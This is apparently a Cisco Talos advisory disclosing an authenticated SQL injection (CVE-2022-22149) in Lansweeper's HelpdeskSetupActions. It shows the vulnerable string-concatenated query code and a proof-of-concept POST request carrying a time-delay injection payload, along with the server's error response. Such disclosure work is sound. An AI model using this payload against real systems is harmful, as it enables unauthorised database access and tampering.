

# Talos Vulnerability Report

TALOS-2022-1441

## Lansweeper lansweeper HelpdeskSetupActions SQL injection vulnerability

FEBRUARY 28, 2022

CVE NUMBER

CVE-2022-22149

### Summary

A SQL injection vulnerability exists in the HelpdeskEmailActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.

### Tested Versions

Lansweeper lansweeper 9.1.20.2

### Product URLs

lansweeper - <https://www.lansweeper.com/>

### CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

### Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management and compliance and audit purposes.

An exploitable SQL Injection vulnerability is related with an action : Configuration -> General Settings and is located inside \LS\CF\HelpdeskSetupActions.cs file. Let us take a close look at the vulnerable source code :

```
Line 155         private static void EditSetting()  
Line 156         {  
Line 157             Page page = (Page)HttpContext.Current.Handler;  
Line 158             HttpContext current = HttpContext.Current;  
Line 159             JsReturnObject jsReturnObject = new JsReturnObject();  
Line 160             try  
Line 161             {  
Line 162                 General.ValidateCsrft();  
Line 163                 string text = current.Request["field"];  
Line 164                 Dictionary<string, string> dictionary = new  
JavaScriptSerializer().Deserialize<Dictionary<string, string>>  
(current.Request["value"]);  
Line 165                 object obj = dictionary[text];  
(...)  
Line 197             else  
Line 198             {  
Line 199                 object obj2 = DB.ExecuteScalar("Select " + text + " from " +  
text2);
```

As we can see, field parameter is not sanitized, and later in line 199 using string concatenation, it is combined with the SQL query. To trigger this vulnerability, an attacker must be authenticated and have rights to change any setting related with Configuration -> HelpDesk Setup.

Exploit Proof of Concept

REQUEST

```
POST /configuration/HelpdeskSetup/HelpdeskSetupActions.aspx?
action=editsetting&field=@@version;WAITFOR DELAY '0:0:03'--&type=1 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 280
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/configuration/HelpdeskEmail/
Cookie: UserSettings=language=1; custauth=username=admin&userdomain=admin;
ASP.NET_SessionId=hpp41pklmqmw0za1jwrw2oru;
__RequestVerificationToken_Lw__=INRfH5supEBaKPkVWwJ0Julc5TL9awnpugCjadGVpN9U37ot7dD
EAReoE5xyXfujDiJmmHz/XlJU
o4d7i/VGC4GDoetTwuihcvFlHWgsbEz3zAIhXcZQfYla3GycAqu46uHVvXM8b4n0feJoZ4TXVzGI0apUQPM7
baaUJsPrk=

value={"@@version;WAITFOR DELAY '0:0:03'--
":1}&__RequestVerificationToken=GRx76L/CQv7ghwFJezK1xXT4LqvWQNc/zVW4MKPNFL4miGePcXr0
MpJACtL4eqJDxKSu031kW2kWrBpvWeL1e1iawm/GHunSVEX6aoBgN3WRWra1zFiIVajL6fRYqcv+0fh3CUcD
MVdskErjp6YYKvpu4ZsoPLXLEC8B43p81CA=
```

## RESPONSE

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Dec 2021 11:59:46 GMT
Connection: close
Content-Length: 183

{"ErrorType":"","Error":true,"Emsg":"Incorrect syntax near
'@@version'.","AddedRows":[],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":
{},"ReturnValue":"","ReturnObject":null}
```

## Timeline

2022-01-10 - Initial vendor contact

2022-01-11 - Vendor disclosure

2022-02-21 - Vendor patched

2022-02-28 - Public Release

## CREDIT

Discovered by Marcin "Icewall" Noga of Cisco Talos.

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PREVIOUS REPORT

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